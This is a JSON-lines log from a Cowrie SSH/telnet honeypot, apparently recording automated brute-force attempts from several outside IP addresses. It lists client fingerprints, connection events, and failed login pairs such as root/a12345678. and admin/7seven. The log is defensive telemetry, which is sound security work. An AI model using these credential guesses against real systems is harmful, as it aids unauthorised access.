{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:41:05.694739Z","src_ip":"49.51.200.156","session":"16c5e31ea34b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:41:05.763152Z","src_ip":"49.51.200.156","session":"16c5e31ea34b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"a12345678.","message":"login attempt [root/a12345678.] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:41:06.067532Z","src_ip":"49.51.200.156","session":"16c5e31ea34b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:41:07.140270Z","src_ip":"49.51.200.156","session":"16c5e31ea34b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00947308540344,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:41:15.474487Z","src_ip":"152.42.224.71","session":"379d180069dd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00186586380005,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:41:16.499605Z","src_ip":"152.42.224.71","session":"c984be1e99a8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00155019760132,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:41:16.506648Z","src_ip":"152.42.224.71","session":"3bdd76e189bb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":53.84941005706787,"message":"Connection lost after 53 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:41:20.491798Z","src_ip":"152.42.224.71","session":"765729d9f50f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.0031967163086,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:41:22.530896Z","src_ip":"152.42.224.71","session":"65ee4a59d868","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":38752,"dst_ip":"10.17.0.5","dst_port":23,"session":"c678b339e0b3","protocol":"telnet","message":"New connection: 152.42.224.71:38752 (10.17.0.5:23) [session: c678b339e0b3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:41:25.850653Z"}
{"eventid":"cowrie.session.closed","duration":42.496522426605225,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:41:27.404401Z","src_ip":"152.42.224.71","session":"de0feb2b98c5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.112","src_port":22141,"dst_ip":"159.203.135.109","dst_port":22,"session":"0b014df2536f","protocol":"ssh","message":"New connection: 2.57.121.112:22141 (159.203.135.109:22) [session: 0b014df2536f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:41:32.166707Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.83","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.83","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:41:32.172388Z","src_ip":"2.57.121.112","session":"0b014df2536f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:41:32.277347Z","src_ip":"2.57.121.112","session":"0b014df2536f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"7seven","message":"login attempt [admin/7seven] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:41:32.768616Z","src_ip":"2.57.121.112","session":"0b014df2536f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":103.03093075752258,"message":"Connection lost after 103 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:41:33.166383Z","src_ip":"152.42.224.71","session":"a3c362dda756","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"admin","password":"7f4df451","message":"login attempt [admin/7f4df451] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:41:33.876183Z","src_ip":"2.57.121.112","session":"0b014df2536f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"7894561","message":"login attempt [admin/7894561] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:41:34.983280Z","src_ip":"2.57.121.112","session":"0b014df2536f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"778811","message":"login attempt [admin/778811] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:41:36.093954Z","src_ip":"2.57.121.112","session":"0b014df2536f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"7666","message":"login attempt [admin/7666] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:41:37.200631Z","src_ip":"2.57.121.112","session":"0b014df2536f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.25","src_port":33418,"dst_ip":"159.203.135.109","dst_port":22,"session":"c1c0fb32972c","protocol":"ssh","message":"New connection: 2.57.121.25:33418 (159.203.135.109:22) [session: c1c0fb32972c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:41:37.406704Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.83","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.83","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:41:37.411790Z","src_ip":"2.57.121.25","session":"c1c0fb32972c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:41:37.517254Z","src_ip":"2.57.121.25","session":"c1c0fb32972c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"1Basebal","message":"login attempt [user/1Basebal] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:41:38.014373Z","src_ip":"2.57.121.25","session":"c1c0fb32972c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:41:38.307850Z","src_ip":"2.57.121.112","session":"0b014df2536f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"1a2a3a4a5a","message":"login attempt [user/1a2a3a4a5a] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:41:39.123493Z","src_ip":"2.57.121.25","session":"c1c0fb32972c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"19451945","message":"login attempt [user/19451945] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:41:40.232079Z","src_ip":"2.57.121.25","session":"c1c0fb32972c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"1933","message":"login attempt [user/1933] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:41:41.340886Z","src_ip":"2.57.121.25","session":"c1c0fb32972c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"19101981","message":"login attempt [user/19101981] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:41:42.449749Z","src_ip":"2.57.121.25","session":"c1c0fb32972c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:41:43.558913Z","src_ip":"2.57.121.25","session":"c1c0fb32972c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":33850,"dst_ip":"10.17.0.5","dst_port":23,"session":"db6bc9f675ba","protocol":"telnet","message":"New connection: 152.42.224.71:33850 (10.17.0.5:23) [session: db6bc9f675ba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:42:00.236319Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.117.179.232","src_port":38674,"dst_ip":"10.17.0.5","dst_port":22,"session":"5bb1ffe009b4","protocol":"ssh","message":"New connection: 45.117.179.232:38674 (10.17.0.5:22) [session: 5bb1ffe009b4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:42:02.795656Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:42:02.800711Z","src_ip":"45.117.179.232","session":"5bb1ffe009b4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"59.16.212.232","src_port":43680,"dst_ip":"159.203.135.109","dst_port":22,"session":"3b28333b49f7","protocol":"ssh","message":"New connection: 59.16.212.232:43680 (159.203.135.109:22) [session: 3b28333b49f7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:42:03.105253Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:42:03.110581Z","src_ip":"59.16.212.232","session":"3b28333b49f7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:42:03.149755Z","src_ip":"45.117.179.232","session":"5bb1ffe009b4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:42:03.314461Z","src_ip":"59.16.212.232","session":"3b28333b49f7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"cad","password":"cad","message":"login attempt [cad/cad] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:42:04.154979Z","src_ip":"59.16.212.232","session":"3b28333b49f7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.153.85.27","src_port":51154,"dst_ip":"10.17.0.5","dst_port":22,"session":"2a83183f0512","protocol":"ssh","message":"New connection: 43.153.85.27:51154 (10.17.0.5:22) [session: 2a83183f0512]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:42:04.795529Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:42:04.812359Z","src_ip":"43.153.85.27","session":"2a83183f0512","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:42:04.985253Z","src_ip":"43.153.85.27","session":"2a83183f0512","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:42:05.360071Z","src_ip":"59.16.212.232","session":"3b28333b49f7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Roto555Pres","message":"login attempt [root/Roto555Pres] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:42:05.503586Z","src_ip":"45.117.179.232","session":"5bb1ffe009b4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.1","message":"Connection lost after 4.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:42:06.854794Z","src_ip":"45.117.179.232","session":"5bb1ffe009b4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"a12345678.","message":"login attempt [root/a12345678.] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:42:06.994935Z","src_ip":"43.153.85.27","session":"2a83183f0512","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.4","message":"Connection lost after 3.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:42:08.171499Z","src_ip":"43.153.85.27","session":"2a83183f0512","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":44.74225401878357,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:42:10.592798Z","src_ip":"152.42.224.71","session":"c678b339e0b3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":33122,"dst_ip":"10.17.0.5","dst_port":23,"session":"d0d67b1e0d4e","protocol":"telnet","message":"New connection: 152.42.224.71:33122 (10.17.0.5:23) [session: d0d67b1e0d4e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:42:13.739946Z"}
{"eventid":"cowrie.session.connect","src_ip":"175.100.42.36","src_port":58884,"dst_ip":"159.203.135.109","dst_port":23,"session":"41088e87a173","protocol":"telnet","message":"New connection: 175.100.42.36:58884 (159.203.135.109:23) [session: 41088e87a173]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:42:14.724440Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.242.234.173","src_port":39210,"dst_ip":"10.17.0.5","dst_port":22,"session":"6a1193dd586e","protocol":"ssh","message":"New connection: 185.242.234.173:39210 (10.17.0.5:22) [session: 6a1193dd586e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:42:18.142453Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:42:19.475988Z","src_ip":"185.242.234.173","session":"6a1193dd586e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:42:19.479968Z","src_ip":"185.242.234.173","session":"6a1193dd586e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"a12345678.","message":"login attempt [root/a12345678.] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:42:20.321481Z","src_ip":"185.242.234.173","session":"6a1193dd586e","protocol":"ssh"}
